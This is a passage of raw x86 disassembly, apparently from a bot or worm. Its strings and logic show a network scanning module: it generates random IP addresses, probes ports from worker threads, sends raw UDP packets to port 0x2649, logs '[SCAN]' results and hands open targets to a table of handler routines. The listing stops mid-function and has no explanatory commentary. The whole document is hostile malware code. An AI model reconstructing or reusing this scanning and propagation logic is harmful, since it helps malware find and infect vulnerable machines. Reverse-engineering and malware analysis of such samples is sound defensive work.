mov eax, [esp+14h+var_C+1]
and ecx, 0FFh
push ecx
mov ecx, [esp+18h+var_C]
and edx, 0FFh
and eax, 0FFh
push edx
and ecx, 0FFh
push eax
push ecx
push offset aD_D_D_D ; "%d.%d.%d.%d"
push offset dword_50FAA8
nop
call sub_5F285B
mov eax, offset dword_50FAA8
add esp, 2Ch
retn
sub_423760 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423820 proc near ; CODE XREF: sub_401F55j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, dword_50DB50[esi*8]
push eax
call near ptr 71AB2BC0h
nop
inc eax
push eax
nop
call near ptr 71AB2BC0h
mov dword_50DB50[esi*8], eax
pop esi
retn
sub_423820 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423860 proc near ; CODE XREF: sub_401131j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
mov edx, [esp+10h+arg_0]
push ebx
or ebx, 0FFFFFFFFh
push edi
mov edi, edx
mov ecx, ebx
xor eax, eax
mov [esp+18h+var_8], ebx
repne scasb
not ecx
dec ecx
mov [esp+18h+var_C], ebx
cmp ecx, 0Fh
mov [esp+18h+var_10], ebx
mov [esp+18h+var_4], ebx
jbe short loc_423892
pop edi
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_423892: ; CODE XREF: sub_423860+2Aj
lea eax, [esp+18h+var_4]
push esi
lea ecx, [esp+1Ch+var_10]
push eax
push ecx
lea eax, [esp+24h+var_C]
lea ecx, [esp+24h+var_8]
push eax
push ecx
push offset aD_D_D_D ; "%d.%d.%d.%d"
push edx
nop
call near ptr 77C41B72h
mov eax, [esp+34h+var_8]
mov esi, dword_511AC8
add esp, 18h
cmp eax, ebx
jnz short loc_4238CA
call esi ; rand
mov [esp+1Ch+var_8], eax
loc_4238CA: ; CODE XREF: sub_423860+62j
cmp [esp+1Ch+var_C], ebx
jnz short loc_4238D6
call esi ; rand
mov [esp+1Ch+var_C], eax
loc_4238D6: ; CODE XREF: sub_423860+6Ej
cmp [esp+1Ch+var_10], ebx
jnz short loc_4238E2
call esi ; rand
mov [esp+1Ch+var_10], eax
loc_4238E2: ; CODE XREF: sub_423860+7Aj
mov eax, [esp+1Ch+var_4]
cmp eax, ebx
jnz short loc_4238EC
call esi ; rand
loc_4238EC: ; CODE XREF: sub_423860+88j
mov edi, [esp+1Ch+var_10]
mov edx, [esp+1Ch+var_C]
shl eax, 8
mov ecx, [esp+1Ch+arg_4]
add eax, edi
shl eax, 8
add eax, edx
mov edx, [esp+1Ch+var_8]
shl eax, 8
add eax, edx
pop esi
pop edi
mov dword_50DB50[ecx*8], eax
pop ebx
add esp, 10h
retn
sub_423860 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423950 proc near ; CODE XREF: sub_401E56j
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = word ptr -114h
var_112 = word ptr -112h
var_110 = dword ptr -110h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 120h
push esi
push edi
mov edi, 1
push 0
push edi
push 2
mov [esp+134h+var_120], edi
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_42397E
pop edi
xor eax, eax
pop esi
add esp, 120h
retn
; ---------------------------------------------------------------------------
loc_42397E: ; CODE XREF: sub_423950+21j
mov ecx, [esp+128h+arg_4]
mov eax, [esp+128h+arg_0]
push ecx
mov [esp+12Ch+var_114], 2
mov [esp+12Ch+var_110], eax
nop
call near ptr 71AB2B66h
lea edx, [esp+128h+var_120]
mov [esp+128h+var_112], ax
push edx
push 8004667Eh
push esi
nop
call near ptr 71AB4519h
lea eax, [esp+128h+var_114]
push 10h
push eax
push esi
nop
call near ptr 71AB406Ah
mov ecx, [esp+128h+arg_8]
lea edx, [esp+128h+var_11C]
push edx
lea eax, [esp+12Ch+var_104]
push 0
push eax
push 0
push 0
mov [esp+13Ch+var_11C], ecx
mov [esp+13Ch+var_118], 0
mov [esp+13Ch+var_100], esi
mov [esp+13Ch+var_104], edi
nop
call near ptr 71AB2DC0h
push esi
mov edi, eax
nop
call near ptr 71AB9639h
xor eax, eax
test edi, edi
pop edi
pop esi
setnle al
add esp, 120h
retn
sub_423950 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_423A40: ; CODE XREF: ___:00401046j
mov eax, 10110h
call sub_437B30
push ebx
push ebp
mov ebp, dword_511C38
push esi
push edi
push 2649h
call ebp ; ntohs
mov [esp+24h], ax
mov eax, [esp+1012Ch]
push eax
call ebp ; ntohs
mov [esp+26h], ax
nop
call near ptr 77C371D3h
xor ebx, ebx
push 200h
mov [esp+2Ch], eax
mov [esp+30h], ebx
mov [esp+34h], bx
mov [esp+44h], bx
mov word ptr [esp+36h], 5
mov [esp+38h], bx
mov word ptr [esp+3Ah], 1
mov [esp+3Ch], bx
mov [esp+3Eh], bx
mov [esp+40h], bx
mov [esp+42h], bx
call ebp ; ntohs
mov ecx, [esp+10124h]
mov edx, [esp+10128h]
push 24h
mov [esp+46h], ax
mov [esp+48h], bx
mov [esp+4Ah], bx
mov [esp+4Ch], ecx
mov [esp+50h], edx
mov [esp+54h], bl
mov byte ptr [esp+55h], 6
call ebp ; ntohs
mov [esp+52h], ax
mov ecx, 9
lea esi, [esp+24h]
lea edi, [esp+54h]
lea eax, [esp+48h]
push 20h
rep movsd
push eax
call sub_401A37
mov edx, [esp+10134h]
xor ecx, ecx
mov [esp+1Ch], ecx
add esp, 8
mov [esp+18h], ecx
mov [esp+44h], ax
mov [esp+1Ch], ecx
push edx
mov [esp+24h], ecx
mov word ptr [esp+18h], 2
call ebp ; ntohs
mov [esp+16h], ax
mov eax, [esp+10128h]
push 6
push 3
push 2
mov [esp+24h], eax
mov dword ptr [esp+1Ch], 10h
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_423B69
push offset aSocketOpenFail ; "socket open failed"
jmp loc_423C68
; ---------------------------------------------------------------------------
loc_423B69: ; CODE XREF: ___:00423B5Dj
mov ecx, [esp+10h]
lea edx, [esp+14h]
push ecx
push edx
push ebx
lea eax, [esp+30h]
push 24h
push eax
push esi
nop
call near ptr 71AB2C69h
mov edi, eax
cmp edi, 14h
jz short loc_423BC2
call near ptr 71AB94DCh
nop
push eax
push edi
lea ecx, [esp+70h]
push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
push ecx
call sub_5F285B
nop
lea edx, [esp+78h]
push edx
call sub_4010D2
add esp, 14h
push esi
call near ptr 71AB9639h
nop
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
loc_423BC2: ; CODE XREF: ___:00423B87j
mov ecx, 400Dh
xor eax, eax
lea edi, [esp+0E8h]
mov ebp, 2649h
rep stosd
stosw
stosb
cmp [esp+0FEh], bp
jz short loc_423C13
mov edi, dword_511C64
loc_423BEA: ; CODE XREF: ___:00423C11j
lea eax, [esp+10h]
lea ecx, [esp+14h]
push eax
push ecx
push ebx
lea edx, [esp+0F4h]
push 10037h
push edx
push esi
call edi ; recvfrom
test eax, eax
jl short loc_423C42
cmp [esp+0FEh], bp
jnz short loc_423BEA
loc_423C13: ; CODE XREF: ___:00423BE2j
push esi
nop
call near ptr 71AB9639h
cmp word ptr [esp+10Eh], 1
jnz short loc_423C63
push offset aSocketOpen_ ; "Socket open."
call sub_4010D2
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
loc_423C42: ; CODE XREF: ___:00423C07j
push offset aRecvfromSocket ; "recvfrom() socket failed"
call sub_4010D2
add esp, 4
push esi
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
loc_423C63: ; CODE XREF: ___:00423C23j
push offset dword_4456DC
loc_423C68: ; CODE XREF: ___:00423B64j
call sub_4010D2
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_423D10: ; CODE XREF: ___:loc_401F41j
sub esp, 290h
mov eax, [esp+294h]
push ebx
push ebp
push esi
push edi
mov ecx, 53h
mov esi, eax
lea edi, [esp+18h]
rep movsd
mov esi, [esp+13Ch]
mov ecx, [esp+140h]
mov [esp+10h], esi
mov [esp+14h], ecx
mov dword ptr [eax+148h], 1
call near ptr 27F0CAAh
nop
push eax
nop
call near ptr 77C371BCh
lea eax, [esi+esi*2]
add esp, 4
shl eax, 4
sub eax, esi
lea eax, [eax+eax*2]
lea ebp, ds:44AF8Bh[eax*4]
mov eax, dword_44B18F[eax*4]
mov ecx, dword_50DB54[eax*8]
test ecx, ecx
jz loc_423FBE
mov ebx, off_511C00
loc_423D8C: ; CODE XREF: ___:00423FB4j
mov ecx, [esp+158h]
push eax
test ecx, ecx
jz short loc_423DA7
lea edx, [esp+1Ch]
push edx
call sub_401131
add esp, 8
jmp short loc_423DAF
; ---------------------------------------------------------------------------
loc_423DA7: ; CODE XREF: ___:00423D96j
call sub_401F55
add esp, 4
loc_423DAF: ; CODE XREF: ___:00423DA5j
mov ecx, [ebp+204h]
mov edx, [esp+12Ch]
mov edi, dword_511C88
mov esi, eax
mov eax, [esp+14h]
push eax
push ecx
push edx
push esi
call edi ; inet_ntoa
push eax
lea eax, [esp+230h]
push offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
push eax
call ebx ; sub_5F285B
lea ecx, [esp+238h]
push ecx
push ebp
call ebx ; sub_5F285B
mov edx, [esp+150h]
mov eax, [esp+14Ch]
push edx
push eax
push esi
call sub_401E56
add esp, 2Ch
cmp eax, 1
jnz loc_423F9A
cmp dword ptr [esp+148h], 0FFFFFFFFh
jnz loc_423EBF
push offset dword_50FA90
nop
call near ptr 7C901005h
mov ecx, [esp+12Ch]
push ecx
push esi
call edi ; inet_ntoa
push eax
lea edx, [esp+228h]
push offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
push edx
call ebx ; sub_5F285B
mov eax, [esp+164h]
add esp, 10h
test eax, eax
jnz short loc_423E9F
mov al, [esp+0A8h]
test al, al
jz short loc_423E7A
mov eax, [esp+150h]
lea ecx, [esp+220h]
push eax
mov eax, [esp+12Ch]
lea edx, [esp+0ACh]
push ecx
push edx
push eax
jmp short loc_423E97
; ---------------------------------------------------------------------------
loc_423E7A: ; CODE XREF: ___:00423E56j
mov ecx, [esp+150h]
lea edx, [esp+220h]
push ecx
mov ecx, [esp+12Ch]
lea eax, [esp+2Ch]
push edx
push eax
push ecx
loc_423E97: ; CODE XREF: ___:00423E78j
call sub_40152D
add esp, 10h
loc_423E9F: ; CODE XREF: ___:00423E4Bj
lea edx, [esp+220h]
push edx
call sub_4010D2
add esp, 4
push offset dword_50FA90
nop
call near ptr 7C9010EDh
jmp loc_423F9A
; ---------------------------------------------------------------------------
loc_423EBF: ; CODE XREF: ___:00423E13j
push esi
call edi ; inet_ntoa
push eax
lea eax, [esp+16Ch]
push eax
call ebx ; sub_5F285B
mov eax, [esp+150h]
lea eax, [eax+eax*2]
lea ecx, [eax+eax*4]
lea eax, [esp+200h]
lea edx, ds:4453F0h[ecx*4]
push edx
push eax
call ebx ; sub_5F285B
mov al, [esp+0B8h]
add esp, 10h
test al, al
jz short loc_423F0C
lea ecx, [esp+0A8h]
lea edx, [esp+178h]
push ecx
push edx
jmp short loc_423F19
; ---------------------------------------------------------------------------
loc_423F0C: ; CODE XREF: ___:00423EF8j
lea eax, [esp+28h]
lea ecx, [esp+178h]
push eax
push ecx
loc_423F19: ; CODE XREF: ___:00423F0Aj
call ebx ; sub_5F285B
mov eax, [esp+158h]
mov edx, [esp+130h]
mov ecx, [esp+15Ch]
mov [esp+21Ah], eax
mov eax, [esp+18h]
add esp, 8
mov [esp+164h], edx
mov edx, [esp+12Ch]
mov [esp+206h], eax
mov eax, [esp+148h]
sub esp, 0BCh
mov [esp+2D2h], ecx
mov ecx, 2Eh
lea esi, [esp+220h]
mov edi, esp
mov [esp+2BEh], edx
mov [esp+2C6h], eax
lea eax, [eax+eax*2]
rep movsd
lea edx, [eax+eax*4]
movsw
call off_44541C[edx*4]
add esp, 0BCh
loc_423F9A: ; CODE XREF: ___:00423E05j
; ___:00423EBAj
push 7D0h
nop
call near ptr 2831C1Ah
mov eax, [ebp+204h]
mov ecx, dword_50DB54[eax*8]
test ecx, ecx
jnz loc_423D8C
mov esi, [esp+10h]
loc_423FBE: ; CODE XREF: ___:00423D80j
push esi
call sub_401E3D
add esp, 4
push 0
nop
call near ptr 2840000h
nop
; ---------------------------------------------------------------------------
db 0B0h dup(0CCh)
; ---------------------------------------------------------------------------
loc_424080: ; CODE XREF: sub_402284j
mov eax, [esp+4]
sub esp, 1CCh
mov ecx, 53h
push ebx
push ebp
push esi
push edi
mov esi, eax
lea edi, [esp+10h]
mov ebx, 1
rep movsd
mov [eax+144h], ebx
lea eax, [esp+10h]
push eax
call near ptr 71AB2BF4h
nop
sub esp, 14Ch
lea esi, [esp+15Ch]
mov ecx, [esp+27Ch]
mov edi, esp
mov dword_50DB50[ecx*8], eax
mov ecx, 53h
rep movsd
call j_nullsub_9
push 3
call sub_40148D
add esp, 150h
cmp eax, ebx
jnz short loc_424101
push offset dword_50FA90
call near ptr 27907E7h
nop
push offset dword_50FA90
nop
call near ptr 27A0000h
loc_424101: ; CODE XREF: ___:004240E9j
mov edx, [esp+130h]
mov eax, [esp+13Ch]
mov ebp, dword_5118D8
mov esi, ebx
mov dword_50DB54[edx*8], ebx
cmp eax, ebx
mov ebx, off_511C00
jb loc_424230
mov edi, dword_51186C
loc_424132: ; CODE XREF: ___:0042422Aj
mov eax, [esp+130h]
mov ecx, [esp+124h]
push esi
push eax
lea edx, [esp+18h]
push ecx
push edx
lea eax, [esp+16Ch]
push offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
push eax
mov [esp+150h], esi
call ebx ; sub_5F285B
push 0
lea ecx, [esp+178h]
push 3
push ecx
call sub_401BEA
lea ecx, [eax+eax*2]
add esp, 24h
shl ecx, 4
sub ecx, eax
push 0
push 0
mov [esp+13Ch], eax
mov eax, [esp+138h]
lea edx, [ecx+ecx*2]
lea ecx, [esp+18h]
push ecx
push offset loc_401F41
push 0
push 0
mov dword_44B18F[edx*4], eax
call edi
mov edx, [esp+134h]
lea ecx, [edx+edx*2]
shl ecx, 4
sub ecx, edx
lea edx, [ecx+ecx*2]
mov dword_44B19F[edx*4], eax
mov ecx, [esp+134h]
lea eax, [ecx+ecx*2]
shl eax, 4
sub eax, ecx
lea eax, [eax+eax*2]
mov ecx, dword_44B19F[eax*4]
test ecx, ecx
jz short loc_4241F8
mov eax, [esp+158h]
test eax, eax
jnz short loc_42421E
loc_4241E7: ; CODE XREF: ___:004241F4j
push 1Eh
call ebp
mov eax, [esp+158h]
test eax, eax
jz short loc_4241E7
jmp short loc_42421E
; ---------------------------------------------------------------------------
loc_4241F8: ; CODE XREF: ___:004241DAj
nop
call near ptr 27D089Fh
push eax
lea ecx, [esp+160h]
push offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
push ecx
call ebx ; sub_5F285B
lea edx, [esp+168h]
push edx
call sub_4010D2
add esp, 10h
loc_42421E: ; CODE XREF: ___:004241E5j
; ___:004241F6j
push 1Eh
call ebp
inc esi
cmp esi, [esp+13Ch]
jbe loc_424132
loc_424230: ; CODE XREF: ___:00424126j
mov eax, [esp+12Ch]
test eax, eax
jz short loc_42425E
lea eax, [eax+eax*2]
lea eax, [eax+eax*4]
lea eax, [eax+eax*4]
lea eax, [eax+eax*4]
lea eax, [eax+eax*4]
shl eax, 5
push eax
call ebp
mov esi, 1
mov eax, [esp+12Ch]
jmp short loc_424291
; ---------------------------------------------------------------------------
loc_42425E: ; CODE XREF: ___:00424239j
mov ecx, [esp+130h]
mov esi, 1
cmp dword_50DB54[ecx*8], esi
jnz short loc_424291
loc_424273: ; CODE XREF: ___:00424288j
push 7D0h
call ebp
mov edx, [esp+130h]
cmp dword_50DB54[edx*8], esi
jz short loc_424273
mov eax, [esp+12Ch]
loc_424291: ; CODE XREF: ___:0042425Cj
; ___:00424271j
mov ecx, [esp+130h]
mov edx, [esp+124h]
push eax
push edx
mov ecx, dword_50DB50[ecx*8]
push ecx
call near ptr 71AB3F41h
nop
push eax
lea eax, [esp+168h]
push offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
push eax
call ebx ; sub_5F285B
mov eax, [esp+160h]
add esp, 14h
test eax, eax
jnz short loc_4242F2
mov ecx, [esp+148h]
lea edx, [esp+15Ch]
push ecx
mov ecx, [esp+124h]
lea eax, [esp+24h]
push edx
push eax
push ecx
call sub_40152D
add esp, 10h
loc_4242F2: ; CODE XREF: ___:004242CBj
lea edx, [esp+15Ch]
push edx
call sub_4010D2
mov eax, [esp+134h]
add esp, 4
push 0BB8h
mov dword_50DB54[eax*8], 0
call ebp
push 3
call sub_40148D
add esp, 4
cmp eax, esi
jnz short loc_424334
push offset dword_50FA90
nop
call near ptr 27907E7h
loc_424334: ; CODE XREF: ___:00424327j
mov ecx, [esp+130h]
push ecx
call sub_401E3D
add esp, 4
push 0
nop
call near ptr 2840000h
nop
nop
nop
nop
; ---------------------------------------------------------------------------
db 0C0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424410 proc near ; CODE XREF: sub_4012A8j
mov eax, ecx
mov dword ptr [eax+4], 0
mov dword ptr [eax], 0
retn
sub_424410 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_424430: ; CODE XREF: ___:004015EBj
mov edx, [esp+4]
sub esp, 8
xor eax, eax
push esi
mov esi, ecx
push edi
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
push ecx
push edx
lea ecx, [esp+10h]
call sub_401843
mov ecx, [eax]
pop edi
mov [esi], ecx
mov edx, [eax+4]
mov eax, esi
mov [esi+4], edx
pop esi
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424480 proc near ; CODE XREF: sub_401843j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push ebp
mov ebp, [esp+8+arg_4]
mov ebx, ecx
push ebp
nop
call near ptr 77C2C407h
mov edx, eax
add esp, 4
test edx, edx
jz short loc_4244D2
mov ecx, ebp
push esi
mov esi, ecx
push edi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+10h+arg_0]
and ecx, 3
rep stosb
mov ecx, ebp
mov edi, edx
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, ebx
and ecx, 3
rep movsb
pop edi
mov [ebx+4], ebp
pop esi
mov [ebx], edx
pop ebp
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_4244D2: ; CODE XREF: sub_424480+16j
mov eax, ebx
pop ebp
pop ebx
retn 8
sub_424480 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424500 proc near ; CODE XREF: sub_4021F8j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
push ebx
mov ebx, ecx
push ebp
mov ecx, [esp+8+arg_C]
lea ebp, [eax+ecx]
push ebp
nop
call near ptr 77C2C407h
mov edx, eax
add esp, 4
test edx, edx
jz short loc_424574
mov ecx, ebp
push esi
mov esi, ecx
push edi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+10h+arg_0]
and ecx, 3
rep stosb
mov ecx, [esp+10h+arg_4]
mov edi, edx
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h+arg_C]
mov esi, [esp+10h+arg_8]
lea edi, [edx+eax]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, ebx
and ecx, 3
rep movsb
pop edi
mov [ebx+4], ebp
pop esi
mov [ebx], edx
pop ebp
pop ebx
retn 10h
; ---------------------------------------------------------------------------
loc_424574: ; CODE XREF: sub_424500+1Dj
mov eax, ebx
pop ebp
pop ebx
retn 10h
sub_424500 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4245A0 proc near ; CODE XREF: sub_4016C2j
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_4245B3
push eax
nop
call near ptr 77C2C21Bh
add esp, 4
loc_4245B3: ; CODE XREF: sub_4245A0+7j
mov dword ptr [esi+4], 0
mov dword ptr [esi], 0
pop esi
retn
sub_4245A0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4245E0 proc near ; CODE XREF: sub_4010A0j
var_4 = dword ptr -4
push ecx
push ebx
mov ebx, ecx
push ebp
push esi
mov eax, [ebx+4]
cmp eax, 0FFFFh
jl short loc_4245F7
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_4245F7: ; CODE XREF: sub_4245E0+Ej
xor ecx, ecx
cmp eax, 7Fh
setnl cl
dec ecx
and ecx, 0FFFFFFFEh
add ecx, 3
mov esi, ecx
add eax, esi
mov [esp+10h+var_4], esi
push eax
nop
call near ptr 77C2C407h
mov ebp, eax
add esp, 4
test ebp, ebp
jnz short loc_424625
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_424625: ; CODE XREF: sub_4245E0+3Cj
push edi
mov edi, [ebx+4]
mov ecx, esi
xor eax, eax
add ecx, edi
mov edi, ebp
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
cmp esi, 1
rep stosb
jnz short loc_424654
mov al, [ebx+4]
lea edi, [ebp+1]
mov [ebp+0], al
mov ecx, [ebx+4]
mov esi, [ebx]
jmp short loc_42466F
; ---------------------------------------------------------------------------
loc_424654: ; CODE XREF: sub_4245E0+62j
mov byte ptr [ebp+0], 82h
mov eax, [ebx+4]
sar eax, 8
mov [ebp+1], al
mov cl, [ebx+4]
mov [ebp+2], cl
mov ecx, [ebx+4]
mov esi, [ebx]
lea edi, [ebp+3]
loc_42466F: ; CODE XREF: sub_4245E0+72j
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov eax, [ebx]
push eax
nop
call near ptr 77C2C21Bh
mov ecx, [esp+18h+var_4]
mov eax, [ebx+4]
add esp, 4
add eax, ecx
mov [ebx], ebp
mov [ebx+4], eax
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
pop ecx
retn
sub_4245E0 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4246D0 proc near ; CODE XREF: sub_401B7Cj
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 8
push ebx
push ebp
mov ebp, ecx
mov eax, [ebp+4]
mov ecx, [ebp+0]
push eax
push ecx
push 1
push offset dword_448F34
lea ecx, [esp+20h+var_8]
call sub_4021F8
lea ecx, [esp+10h+var_8]
call sub_4010A0
mov edx, [esp+10h+var_4]
inc edx
push edx
nop
call near ptr 77C2C407h
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_424715
pop ebp
xor al, al
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_424715: ; CODE XREF: sub_4246D0+3Bj
mov eax, [esp+10h+var_4]
push esi
push edi
mov edi, ebx
lea ecx, [eax+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
mov byte ptr [ebx], 3
mov ecx, [esp+18h+var_4]
mov esi, [esp+18h+var_8]
mov eax, ecx
lea edi, [ebx+1]
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, ebp
call sub_4016C2
mov ecx, [esp+18h+var_4]
mov [ebp+0], ebx
inc ecx
mov [ebp+4], ecx
lea ecx, [esp+18h+var_8]
call sub_4016C2
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 8
retn
sub_4246D0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4247B0 proc near ; CODE XREF: sub_4012C6j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
sub esp, 8
push esi
mov esi, ecx
mov ecx, [esp+0Ch+arg_0]
push eax
mov edx, [esi+4]
mov eax, [esi]
push ecx
push edx
push eax
lea ecx, [esp+1Ch+var_8]
call sub_4021F8
mov ecx, esi
call sub_4016C2
mov ecx, [esp+0Ch+var_8]
mov edx, [esp+0Ch+var_4]
mov [esi], ecx
mov [esi+4], edx
mov al, 1
pop esi
add esp, 8
retn 8
sub_4247B0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424800 proc near ; CODE XREF: sub_402054j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov edx, ecx
push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
push esi
mov ecx, edx
call sub_4012C6
pop edi
pop esi
retn 4
sub_424800 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424840 proc near ; CODE XREF: sub_401505j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push eax
push edx
call sub_4012C6
retn 8
sub_424840 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424870 proc near ; CODE XREF: sub_4017D5j
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 8
push esi
mov esi, ecx
call sub_4010A0
test al, al
jnz short loc_424884
pop esi
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_424884: ; CODE XREF: sub_424870+Dj
mov eax, [esi+4]
mov ecx, [esi]
push eax
push ecx
push 1
push offset dword_445C04
lea ecx, [esp+1Ch+var_8]
call sub_4021F8
mov ecx, esi
call sub_4016C2
mov edx, [esp+0Ch+var_8]
mov eax, [esp+0Ch+var_4]
mov [esi], edx
mov [esi+4], eax
mov al, 1
pop esi
add esp, 8
retn
sub_424870 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4248E0 proc near ; CODE XREF: sub_401EC9j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push eax
mov ecx, [esp+8+arg_0]
push ecx
mov ecx, esi
call sub_401505
test al, al
jnz short loc_4248FC
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_4248FC: ; CODE XREF: sub_4248E0+16j
mov ecx, esi
call sub_4017D5
pop esi
retn 8
sub_4248E0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424920 proc near ; CODE XREF: sub_401BFEj
var_858 = dword ptr -858h
var_854 = dword ptr -854h
var_850 = dword ptr -850h
var_84C = dword ptr -84Ch
var_848 = dword ptr -848h
var_844 = dword ptr -844h
var_840 = dword ptr -840h
var_83C = dword ptr -83Ch
var_838 = dword ptr -838h
var_834 = dword ptr -834h
var_830 = dword ptr -830h
var_82C = dword ptr -82Ch
var_828 = dword ptr -828h
var_824 = dword ptr -824h
var_820 = dword ptr -820h
var_81C = dword ptr -81Ch
var_818 = dword ptr -818h
var_814 = dword ptr -814h
var_810 = dword ptr -810h
var_80C = dword ptr -80Ch
var_808 = dword ptr -808h
var_804 = dword ptr -804h
var_800 = byte ptr -800h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
sub esp, 858h
lea ecx, [esp+858h+var_818]
push ebx
push esi
call sub_4012A8
mov esi, [esp+860h+arg_8]
cmp esi, 408h
jg loc_424CF5
mov ebx, [esp+860h+arg_10]
lea eax, [ebx+8]
cmp eax, 408h
ja loc_424CF5
push edi
lea ecx, [esp+864h+var_830]
call sub_4012A8
lea ecx, [esp+864h+var_840]
call sub_4012A8
lea ecx, [esp+864h+var_810]
call sub_4012A8
lea ecx, [esp+864h+var_848]
call sub_4012A8
lea ecx, [esp+864h+var_820]
